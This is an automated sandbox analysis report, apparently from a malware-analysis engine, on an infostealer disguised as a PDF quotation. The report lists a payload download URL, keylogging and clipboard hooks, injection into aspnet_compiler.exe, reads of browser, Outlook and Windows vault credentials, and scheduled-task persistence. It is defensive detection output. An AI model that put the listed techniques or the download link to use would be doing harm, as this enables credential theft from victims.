Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002B3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s22.filetransfer.io
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002B39000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002B3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s22.filetransfer.io/storage/download/fNtpaSFzWEzZ
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002EF6000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002BB6000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 104.21.13.139:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.13.139:443 -> 192.168.2.4:49738 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, l8rGfzxi.cs

.Net Code: iCBE

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.2d48e7c.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 4.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_00F762FF	0_2_00F762FF
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_00F76310	0_2_00F76310
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_05C00808	0_2_05C00808
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_05C007F9	0_2_05C007F9
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_05C00944	0_2_05C00944
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_05C0583F	0_2_05C0583F
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_072007B0	0_2_072007B0
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_0720CDB8	0_2_0720CDB8
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_0720F36F	0_2_0720F36F
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_0720F3B8	0_2_0720F3B8
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_07487FB0	0_2_07487FB0
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_074806D7	0_2_074806D7
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_07480D3C	0_2_07480D3C
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_07480196	0_2_07480196
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_07488880	0_2_07488880
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_07487C68	0_2_07487C68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_0163C670	4_2_0163C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_01634AC0	4_2_01634AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_0163CF12	4_2_0163CF12
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_01633EA8	4_2_01633EA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_016341F0	4_2_016341F0

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Static PE information: invalid certificate

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.2d48e7c.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, N1EZ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, N1EZ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, N1EZ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, N1EZ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, arzrv9AWTXK.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, arzrv9AWTXK.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, InmxgXcIi8d.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.3c39f48.12.raw.unpack, InmxgXcIi8d.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.7490000.15.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.7490000.15.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.7490000.15.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.7490000.15.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.7490000.15.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.7490000.15.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.7490000.15.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.7490000.15.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.7490000.15.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.7490000.15.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@3/2

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QUOTATION_APRQTRA031244#U00faPDF.scr.exe.log

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Mutant created: NULL

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: aspnet_compiler.exe, 00000004.00000002.2896066000.000000000312D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe

ReversingLabs: Detection: 52%

Source: unknown	Process created: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe "C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe"
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002BB6000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003AE8000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2245901969.0000000007490000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002BB6000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003AE8000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2245901969.0000000007490000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2243098411.0000000007160000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, Program.cs	.Net Code: Main System.AppDomain.Load(byte[])
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.7490000.15.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.7490000.15.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.7490000.15.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.4601c10.11.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.4601c10.11.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.4601c10.11.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.4601c10.11.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.4601c10.11.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.4781400.8.unpack, type: UNPACKEDPE
